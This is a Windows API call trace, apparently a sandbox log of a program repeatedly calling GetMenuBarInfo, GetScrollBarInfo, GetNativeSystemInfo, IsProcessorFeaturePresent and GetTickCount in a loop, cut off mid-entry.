[0053.732] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.732] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.732] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.732] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.732] GetTickCount () returned 0x1c33e [0053.732] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.732] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.732] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.732] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.732] GetTickCount () returned 0x1c33e [0053.733] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.733] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.733] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.733] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.733] GetTickCount () returned 0x1c33e [0053.733] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.733] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.733] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.733] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.733] GetTickCount () returned 0x1c33e [0053.733] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.733] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.733] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.733] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.733] GetTickCount () returned 0x1c33e [0053.733] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.733] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.733] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.733] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.733] GetTickCount () returned 0x1c33e [0053.733] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.733] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.733] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.733] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.733] GetTickCount () returned 0x1c33e [0053.734] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.734] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.734] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.734] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.734] GetTickCount () returned 0x1c33e [0053.734] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.734] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.734] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.734] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.734] GetTickCount () returned 0x1c33e [0053.734] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.734] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.734] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.734] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.734] GetTickCount () returned 0x1c33e [0053.734] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.734] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.734] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.734] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.734] GetTickCount () returned 0x1c33e [0053.734] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.734] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.734] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.734] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.734] GetTickCount () returned 0x1c33e [0053.735] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.735] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.735] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.735] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.735] GetTickCount () returned 0x1c33e [0053.735] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.735] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.735] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.735] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.735] GetTickCount () returned 0x1c33e [0053.735] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.735] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.735] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.735] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.735] GetTickCount () returned 0x1c33e [0053.735] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.735] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.735] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.735] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.735] GetTickCount () returned 0x1c33e [0053.735] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.735] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.735] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.735] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.735] GetTickCount () returned 0x1c33e [0053.735] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.736] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.736] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.736] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.736] GetTickCount () returned 0x1c33e [0053.736] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.736] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.736] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.736] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.736] GetTickCount () returned 0x1c33e [0053.736] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.736] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.736] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.736] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.736] GetTickCount () returned 0x1c33e [0053.736] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.736] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.736] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.736] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.736] GetTickCount () returned 0x1c33e [0053.736] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.736] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.736] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.736] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.736] GetTickCount () returned 0x1c33e [0053.736] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.737] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.737] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.737] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.737] GetTickCount () returned 0x1c33e [0053.737] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.737] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.737] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.737] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.737] GetTickCount () returned 0x1c33e [0053.737] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.737] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.737] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.737] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.737] GetTickCount () returned 0x1c33e [0053.737] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.737] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.737] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.737] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.737] GetTickCount () returned 0x1c33e [0053.737] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.737] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.737] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.737] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.737] GetTickCount () returned 0x1c33e [0053.737] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.738] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.738] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.738] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.738] GetTickCount () returned 0x1c33e [0053.738] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.738] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.738] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.738] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.738] GetTickCount () returned 0x1c33e [0053.738] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.738] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.738] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.738] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.738] GetTickCount () returned 0x1c33e [0053.738] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.738] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.738] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.738] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.738] GetTickCount () returned 0x1c33e [0053.738] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.738] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.738] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.738] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.739] GetTickCount () returned 0x1c33e [0053.739] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.739] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.739] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.739] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.739] GetTickCount () returned 0x1c33e [0053.739] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.739] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.739] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.739] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.739] GetTickCount () returned 0x1c33e [0053.739] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.739] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.739] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.739] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.739] GetTickCount () returned 0x1c33e [0053.739] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.739] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.739] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.739] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.739] GetTickCount () returned 0x1c33e [0053.739] GetMenuBarInfo (in: 